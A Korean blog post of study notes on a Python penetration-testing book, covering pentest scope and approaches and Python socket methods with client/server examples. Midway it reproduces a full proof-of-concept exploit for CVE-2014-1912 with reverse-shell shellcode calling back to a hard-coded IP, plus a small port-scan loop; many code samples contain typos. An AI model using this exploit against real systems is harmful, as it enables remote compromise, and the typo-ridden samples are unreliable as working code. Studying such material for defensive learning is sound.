반응형
돈이 없어서 구글링으로 구한 pdf 파일..
해석하면서 정리했다.
침투 테스터와 해킹은 비슷한 단어다. 침투 테스터는 해킹을 막는 다는점에서, 해커는 명성과 돈을위해 취약점을 팔거나, 취약점을 이용하는 점에서 다르다.
잘 훈련된 해커들은 시스템을 해킹하고, 버그를 고치는 정보보안분야의 직업을 갖는다. 기업의 시스템을 보호하는 그들은 침투테스터라 불릴 수 있고, 그들은 네트워크를 뚫고자 합법적인 승인아래 해킹을 시도하고, 고객에게 리포트를 제출한다.
침투테스트의 전문가가 되고자 하면, 그들의 기술의 깊은 깨달음을 가져야한다.
Topic :
•The scope of pentesting
• The need for pentesting
• Components to be tested
• Qualities of a good pentester
• Approaches of pentesting
• Understanding the tests and tools you'll need
• Network sockets
• Server socket methods
• Client socket methods
• General socket methods
• Practical examples of sockets
• Socket exceptions
• Useful socket methods
1. 침투테스트의 시작
- 회사의 정보보안수준을 측정
- 네트워크, 데이터베이스, 웹사이트, public서버, 보안 정책, 고객의 특정 요구사항
- 침투테스터는 고객에게 회사 구조의 취약점을 결과로 제출하고, 위험 레벨별로 특정 취약점을 나타내고, 각 위험에 대한 솔루션을 가능한 제공해야 함.
2. 침투테스트의 필요성
- 기업의 무결성을 노출시킬 수 있는 위협을 식별
- 전문적인 침투테스트는 기업에게 완벽하고 세부적인 보안 평가를 통해 보증성을 제공
- 네트워크 장비의 효용성을 체크할 수 있음 (트래픽 발생을 통해)
- 취약점 발견은 소프트웨어, 하드웨어 네트워크 디자인의 인프라 업그레이드, 변경을 야기할 수 있음.
- 잠재된 위협은 계속 증가함.
- 침투테스트는 보안정책이 적합한지 아닌ㄴ지를 검증함.
3. 테스트를 해야할 요소
* 기업은 침투테스트 전에 위협평가를 꼭 수행해야함. 이는 주요 위협을 식별하는데 도움을 줌. (예로, 잘못된 설정, 그의 취약점)
- Routers, switches, pr gateways
- Public-facing sytems; websites, DMZ, e-mail servers, and remote systems, DNS, firewalls, proxy servers FTP, and web servers
* 테스팅은 네트워크안 모든 하드웨어와 소프트웨어 요소에 수행 되어야함.
4. 좋은 테스터의 자질
- 이익과 비용에 맞춘 적합한 툴과 테스트를 선택
- 문서와 계획된 절차에 맞춰 진행
- 절차의 정의, 제한, 목표와 같은 침투테스트의 범위를 설립
- 취약점을 어떻게 보여줄지 준비
- 잠재된 위협과 결과를 명백히 기술하고, 위험을 줄일 방법을 가능한 제공
- 기술이 빨리 진보하는 점에서, 계속 업데이트 해야함
5. 침투테스트의 범위정의
- 고객과의 프로젝트의 범위를 정해야함.
- 시간 사람 돈을 고려
- 고객과 침투테스터 간의 테스트 범위에 대한 동의를 프로파일해야함
- 비즈니스 관행이 범위에 영향을 줌.
- 비파괴적인 테스트
가. 원격 시스템의 잠재적 취약점 스캔, 식별
나. 결과를 조사하고 검증
다. 취약점 맵 작성
라. 시스템 붕괴를 막는 선에서 이용
마. 개념의 증명
바. DoS Attack 금지.
- 파괴적 테스트
가. DoS Attack, buffer overflow 등 시스템 다운을 야기할 수 있는 공격 가능.
6. 침투 테스트 접근
- Black-box 테스트 (결정론적인 접근이 아님)
기업 이름만 알고 마치 외부의 해커가 접근하는 방식으로 해킹
- White-box 테스트 (결정론적인 접근)
테스트하는 기업의 구조를 알고, 악의적인 내부자가 해킹하는것과 마찬가지
- Gray-box 테스트 (hybrid 접근)
대상 네트워크의 제한적인 정보를 가지고, 고객에게는 적은 비용과, 적은 시도, 침투테스터의 적은 오류를 제공함.
7. Network Socket
a = socket.socket (socket_family, socket_type, protocol=0)
socket_family : socket.AF_INET, PF_PACKET
AF_INET는 IPv4에 해당함.
PF_PACKETD는 리눅스를 위한 pcap library, 스니핑에 이용
socket_type : socket.SOCK_DGRAM, socket.SOCK_RAM, socket.SOCK_STREAM
SOCK_DGRAM는 UDP
socket.SOCK_STREAM은 TCP
socket.SOCK_RAW는 스니핑에서 이용
protocol : 스니핑에 이용 특별한게없으면 0으로 설정.
8. Server socket methods
socket.bind(address) : IP 주소와 포트 넘버로 연결. 소켓은 반드시 주소로 연결 이전에 열려있어야함.
socket.listen(q) : TCP 리스너 q는 Connection의 라인업 넘버
socket.accept() : 클라이언트로 부터 연결을 수락하는 메소드 이메소드를 사용하기전에 bind와 listen을 반드시 사용해야함.
9. Client socket methods
socket.connect(address) : 클라이언트가 서버에 연결할때 사용하는 메소드 address는 서버의 주소.
일반적인 소켓 메소드들
socket.recv(bufsize) : TCP 메세지를 받는 메소드.
socket.recvfrom(bufsize) : 한쌍의 값을 되돌려주며, 첫번째 값은 받은 데이터, 두번째 값은 데이터를 보낸 소켓의 주소.
socket.recv_into(buffer) : 버퍼보다 적게 받거나 동등하게 데이터를 받음, 버퍼 파라미터는 bytearray()로 만들어짐.
socket.recvfrom_into(buffer) : 소켓에서 데이터를 얻어 버퍼에 쓴다. (nbytes, address)쌍을 리턴.
*주의할 것은 recvfrom_into(buffer) 메소드는 이전 버전에서 버퍼 오버플로우 취약점이 있다. (CVE-2014-1912)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | #!/usr/bin/env python ''' # Exploit Title: python socket.recvfrom_into() remote buffer overflow # Date: 21/02/2014 # Exploit Author: @sha0coder # Vendor Homepage: python.org # Version: python2.7 and python3 # Tested on: linux 32bit + python2.7 # CVE : CVE-2014-1912 socket.recvfrom_into() remote buffer overflow Proof of concept by @sha0coder TODO: rop to evade stack nx (gdb) x/i $eip => 0x817bb28: mov eax,DWORD PTR [ebx+0x4] <--- ebx full control => eax full conrol 0x817bb2b: test BYTE PTR [eax+0x55],0x40 0x817bb2f: jne 0x817bb38 --> ... 0x817bb38: mov eax,DWORD PTR [eax+0xa4] <--- eax full control again 0x817bb3e: test eax,eax 0x817bb40: jne 0x817bb58 --> ... 0x817bb58: mov DWORD PTR [esp],ebx 0x817bb5b: call eax <--------------------- indirect fucktion call ;) $ ./pyrecvfrominto.py egg file generated $ cat egg | nc -l 8080 -vv ... when client connects ... or wen we send the evil buffer to the server ... 0x0838591c in ?? () 1: x/5i $eip => 0x838591c: int3 <--------- LANDED!!!!! 0x838591d: xor eax,eax 0x838591f: xor ebx,ebx 0x8385921: xor ecx,ecx 0x8385923: xor edx,edx ''' import struct def off(o): return struct.pack( 'L' ,o) reverseIP = '\xc0\xa8\x04\x34' #'\xc0\xa8\x01\x0a' reversePort = '\x7a\x69' #shellcode from exploit-db.com, (remove the sigtrap) shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2" \ "\xb0\x66\xb3\x01\x51\x6a\x06\x6a" \ "\x01\x6a\x02\x89\xe1\xcd\x80\x89" \ "\xc6\xb0\x66\x31\xdb\xb3\x02\x68" + \ reverseIP + "\x66\x68" + reversePort + "\x66\x53\xfe" \ "\xc3\x89\xe1\x6a\x10\x51\x56\x89" \ "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe" \ "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31" \ "\xc0\x52\x68\x6e\x2f\x73\x68\x68" \ "\x2f\x2f\x62\x69\x89\xe3\x52\x53" \ "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" \ "\x80" shellcode_sz = len (shellcode) print 'shellcode sz %d' % shellcode_sz ebx = 0x08385908 sc_off = 0x08385908 + 20 padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM' ''' +------------+----------------------+ +--------------------+ | | | | | V | | V | ''' buff = 'aaaa' + off(ebx) + 'aaaaaAAA' + off(ebx) + shellcode + padd + off(sc_off) # .. and landed ;) print 'buff sz: %s' % len (buff) open ( 'egg' , 'w' ).write(buff) |
*socket.recvfrom_into 함수는 파이썬 2.5 2.7.7,3x의 Modules/socketmodule.c 원격실행 코드 취약점이 있음.
socket.send(bytes) : 소켓을 이용해 데이터를 보낼때 사용. 보내기전 연결이 보장되어야함. 보내고나서 보낸 바이트수를 리턴.
socket.sendto(data, address) : 소켓을 이용해 데이터를 보낼때 사용. 일반적으로 UDP 비연결 프로토콜을 사용할 때, 통신 상대와 연결이 되어있지 않아도 되며, 통신 상대의 특정 주소를 address 로 가져간다. 보낸 바이트의 수를 리턴 한다.
socket.sendall(data) : 이름이 의미하듯 모든 데이터를 소켓으로 보낸다. 연결전에 통신 상대와 소켓이 연결되어 있어야 하며, 에러가 발생하기 전까지 전송한다. 에러가 보이면 에외처리를 시키며 socket.close() 메소드가 실행되어 소켓이 닫힌다.
# server1.py
# 서버사이드 프로그램이며 클라이언트와 연결을 맺고 메시지를 전송하는 기능.
import socket
host = "192.168.0.1" #Server address
port = 12345 #Port of Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port)) #bind server
s.listen(2)
conn, addr = s.accept()
print addr, "Now Connected"
conn.send("Thank you for connecting")
port = 12345 #Port of Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port)) #bind server
s.listen(2)
conn, addr = s.accept()
print addr, "Now Connected"
conn.send("Thank you for connecting")
conn.close()
# client1.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.0.1"
# 서버 주소
port = 12345 # 서버 포트
s.connect((host,port))
print s.recv(1024)
s.send("Hello Server")
s.close()
# server2.py
import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(2)
while True:
conn, addr = s.accept()
print addr, "Now Connected"
conn.send("Thank you for connecting")
conn.close()
# While은 서버가 많은 클라이언트를 상대할 수 있게 프로그램을 유지시켜준다.
#bytearray 는 0부터 255 unsigned 정수의 상호적 시퀀스다. 삭제 삽입 변경이 값자체 슬라이스로 잘라서도 가능하다.
bytearray의 객체는 bytearray에 내장되어있는 배열 로 불러와질 수 있다.
bytearray([source[, encoding[.errors]]])
m = bytearray(*Mohit Mohit*)
>>> m[1]
111
>>> m[0]
77
>>> m[:5] = "Hello"
>>> m
bytearray(b'Hello Mohit')
# splitting 명령의 bytearray() 적용
>>> m = bytearray("Hello Mohit")
>>>m
bytearray(b'Hello Mohit')
>>>m.split()
[bytearray(b'Hello'), bytearray(b'Mohit')]
# append명령의 bytearray() 적용
>>> m.append(33)
>>> m
bytearray(b'Hello Mohit:')
>>> bytearray(b'Hello World:')
# server3.py
import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, prort))
s.listen(1)
conn, addr = s.accept()
print "connected by", addr
conn.send("Thanks")
conn.close()
# client3.py
import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
buf = bytearray("-" * 30) # 버퍼 생성
print "Number of Byte ",s.recv_into(buf)
print buf
s.close
#UDP.socket
#udp1.py
import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socekt.AF_INET, socket.SOCK_DGRAM)
s.bind((host,port))
data, addr = s.recvfrom(1024)
print *received from *,addr
print *obtained ", data
s.close()
# socket.SOCK_DGRAM 은 UDP 소켓을 만들고 data, addr =s.recvfrom(1024) 두가지를 리턴 시킨다.
#udp2.py
import socket
host = "192.168.0.1"
port = 12346
s = socoket.socket(socket.AF_INET, socket.SOCK_DGRAM)
prints.sendto("hello all", (host,port))
s.close()
# 연결을 Establish 할 필요가 없음
* socket.settimeout(value)
서버는 운영중이나 클라이언트의 연결이 없을 때를 가정하면 서버는 계속 리슨 상태에 있을것이고, 이부분을 없애주기위해 이 메소드를 사용한다. 이 메소드의 value에 5를 주면 5초동안, 완전히 명령어가 수행되지 않으면 timeout exception을 일으킨다. 또한, value로 부동 소수점값을 쓸 수 있다. 그에 대한 예시는 아래다.
#udptime1.py
import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host,port))
s.settimeout(5)
data, addr = s.recvfrom(1024)
print "recevied from", addr
print "obtained ", data
s.close()
*Socket exceptions (소켓예외들)
#udptime2.py
import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, sock.SOCK_DGRAM)
try:
s.bind((host,port))
s.settimeout(5)
data, addr = s.recvfrom(1024)
print "recevied from ",addr
print "obtained ", data
s.close()
except socket.timeout :
print "Client not connected"
s.close()
*Python's socket library의 다른 에러들.
exception socket.herror: address-related 에러
exception socket.timeout: 소켓에서 타임아웃이 발생했으 때 일어남.
exception socket.gaierror: getaddrinfo() 와 getnameinfo() 를 사용할때 예외를 받는다.
exception socket.error: 소켓관련 에러를 받는다.
10. 유용한 소켓 메소드들
정보를 모으기 유용한 소켓 메소드들을 제공한다.
socket.gethostbyname(hostname) --> hostname을 IPv4의 의 주소 포맷으로 바꿈. 주소는 스트링 형태로 리턴됨
import socket
socket.gethostbyname('thaper.edu')
'220.227.15.55'
socket.gethostbyname('google.com')
'173.194.126.64'
*nslookup과 유사하다.
socket.gethostbyname_ex(name) --> hostname을 IPv4주소 패턴으로 변환해준다. 이 메소드는 튜플의 형태로 리턴해준다. (hostname, canonical name,and IP_addrlist), IPv6 주소체계에서는 작동하지 않는다. 튜플, 리스트, 딕셔너리로 자료를 흭득할 수있다.
socket.gethostbyname_ex('thapar.edu')
('thapar.edu', [], (1'14.139.242.100', '220.227.15.55'])
socket.gethostbyname_ex('google.com')
('google.com', [] ,['173.194.36.64','173.194.36.71','173....
.
.
.. '173.194.36.67'])
socket.gethostname(): --> 현재 파이썬 인터프리터가 작동하는 시스템의 호스트네임을 리턴시킨다.
socket.gethostname()
'eXtreme'
* 응용
socket.gethostbyname(socket.gethostname())
'192.168.10.1'
* 컴퓨터에 많은 인터페이스가 있을 경우 모든 인터페이스의 주소를 출력해준다.
socket.gethostbyname_ex(socket.gethostname())
('eXtreme', [], ['10.0.010', '192.168.10.1', '192.168.0.1'])
--> 첫번째는 머신 이름, 두분쨰는 호스트네임의 약칭(aliases), 세번째는 인터페이스들의 아이피 주소다.
socket.getfqdn([name]): 도메인 네임의 fully qualified domain name 을 얻고싶을때 사용.
ex) beta는 호스트네임 example.com는 도메인 네임일때, fqdn은 beta.example.com이된다.
socket.getfqdn('facebook.com')
'edge-star-shv-12-frc3.facebook.com'
socket.gethostbyaddr(ip_address) : reverse lookup과 같게 주소를 인풋으로 해당 네임을 출력해준다. 리턴값으로 튜플(hostname, canonical name, IP_addr리스트)를 줌
socket.gethostbyaddr('173.194.36.71')
('de101s06-in-f7.le100.net', [] , ['173.194.36.71'])
* 없는 호스트네임은 오류가 뜬다.
socket.getservbyname(servicename[, protocol_name]): 프로토콜 네임에 일치하는 포트넘버로 바꾸어준다. 프로토콜이름은 TCP, UDP 중 선택하면된다.
import socket
socket.getservbyname('http')
80
socket.getservbyname('smtp','tcp')
25
socket.getservbyport(port[, protocol_name]): 포트넘버를 통해 서비스네임을 알 수 있는 메소드
socket.getservbyport(80)
'http'
socket.getservbyport(23)
'telnet'
socket.getservbyport(445)
'microsoft-ds'
socket.connect_ex(address) : 에러 indicator를 리턴해주며 성공할 시에 0을 리턴, 마찬가지로 에러발생시 errno를 리턴해준다. 포트를 스캔할때 유용하다.
#connet_ex.py
import socket
rmip = '127.0.0.1'
portlist = [22,23,80,912,135,445,20]
for port in portlist:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
reulst = sock.connect_ex((rmip,port))
print prot,":",result
sock.close()
socket.getaddrinfo(host, port,[, family[,socktype[,proto[,flags]]]])
import socket
socket.getaddrinfo('www.thapar.edu', 'http')
[(2, 1, 0, '', ('220.227.15.47', 80)), (2, 1, 0, '', ('14.139.242,100', 80))]
2는 패밀리, 1은 소켓 타입, 0은 프로토콜을 나타내며, canonical name (addr, port)는 2socket 주소를 나타낸다.
import socket
def get_protnumver(prefix):
return dict((getattr(socket, a), a)
for a in dir(socket)
if a.startswith(prefix))
proto_fam = ge_protnumber('AF_')
types = get_protnumber('SCOK_')
protocols = get_protnumber('IPPROTO_')
for res in socket.getaddrinfo('www.thapar.edu', 'http'):
family, socktype, proto, canonname, sockaddr = res
print 'Family :', proto_fam[family]
print 'Type :',types[socktype]
print 'Protocol :',protocols[proto]
print 'Canonical name:', canonname
print 'Socket address:'. sockaddr
dict((getattr(socket,n),n) for n in dir(socket) if n.startswitch('AF_'))
{0: 'AF_UNSPEC', 2: 'AF_INET', 6:'AF_IPX', 11: 'AF_SNA', 12:' AF_DECnet', 16: 'AF_APPLETALK', 23: 'AF_INET6', 26:'AF_IRDA'}
for res in socket.getaddrinfo('www.thapar.edu', 'http'):
[Mohit]_Python_Penetration_Testing_Essentials_Emp(BookZZ.org).pdf
반응형
'Programming > Python' 카테고리의 다른 글
Python/IPython 설치 (0) | 2018.03.15 |
---|---|
Python/자료 목록/Python Exploit Development (0) | 2018.03.12 |
Programming/Python/문자열의 Hex,문자 빈도수 체크하는 프로그램 (0) | 2018.01.21 |
Programming/Python/모듈 다루기 (0) | 2018.01.17 |
[ERROR] a byte-like object is required, not 'str' (0) | 2017.03.31 |